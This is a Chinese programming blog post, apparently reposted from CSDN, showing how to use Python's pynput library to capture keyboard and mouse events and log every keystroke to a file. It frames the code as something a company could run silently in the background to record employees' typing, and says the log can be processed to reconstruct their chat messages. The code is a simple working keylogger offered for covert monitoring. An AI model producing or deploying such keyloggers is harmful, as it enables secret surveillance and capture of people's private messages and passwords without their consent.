你知道怎么用Python监控聊天记录吗
作者:程序猿-小菜 时间:2021-09-12 21:58:19
关于 pynput
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了,我们可以选择轻量,快速的 pynput。
实例
键盘监控
假设公司想要静默为我们的电脑常驻一个后台进程去实现监控我们的键盘输入并记录下来,他们大概可以这样做:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
复制代码
控制台打印:
鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
复制代码
控制台打印:
你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。
监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
复制代码
查看日志内容:
如上,我们的键盘操作全部已经被记录,通过对这个日志文件进行简单的 NLTK
语言处理,就能复原你的聊天记录。
来源:https://blog.csdn.net/m0_61655732/article/details/120722435
标签:Python,监控,聊天记录
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Python中关键字nonlocal和global的声明与解析
2023-08-01 13:11:10
Python将list中的string批量转化成int/float的方法
2021-12-11 00:11:59
从mysql到oracle你必须了解的50件事儿
2010-08-05 14:36:00
Python os库常用操作代码汇总
2021-04-17 04:07:51
Python使用matplotlib绘制三维参数曲线操作示例
2021-03-30 05:55:31
![](https://img.aspxhome.com/file/2023/6/102776_0s.png)
开发Web应用程序的结构化过程
2009-06-01 10:52:00
![](https://img.aspxhome.com/file/UploadPic/20096/1/01-47s.png)
如何用ASP实现文章点击数?
2008-08-11 21:17:00
python中几个常用函数的正确用法-lambda/filter/map/reduce
2022-02-17 14:52:45
pycharm中代码回滚到指定版本的两种实现方法(附带截图展示)
2021-11-26 22:51:18
![](https://img.aspxhome.com/file/2023/5/112145_0s.png)
python3中TQDM库安装及使用详解
2023-02-17 20:05:55
![](https://img.aspxhome.com/file/2023/2/86322_0s.png)
ASP分段读取数据库代码
2009-10-12 12:28:00
python增加图像对比度的方法
2022-11-06 09:35:37
python实现转圈打印矩阵
2022-10-28 09:23:20
利用python+ffmpeg合并B站视频及格式转换的实例代码
2021-06-09 21:14:00
关于Django框架的关系模型序列化和一对多关系中的序列化解析
2023-01-15 00:52:53
![](https://img.aspxhome.com/file/2023/1/79531_0s.jpg)
解决SpringBoot启动过后不能访问jsp页面的问题(超详细)
2023-06-13 19:43:31
![](https://img.aspxhome.com/file/2023/9/64409_0s.jpg)
记录PHP错误日志 display_errors与log_errors的区别
2023-11-14 09:38:29
5个款MySQL常用维护管理工具
2010-10-25 19:45:00
![](https://img.aspxhome.com/file/UploadPic/201010/25/20101025203549207s.jpg)
PHP微信开发之查询微信精选文章
2023-11-14 12:45:54
可以输入的下拉菜单
2009-01-04 14:21:00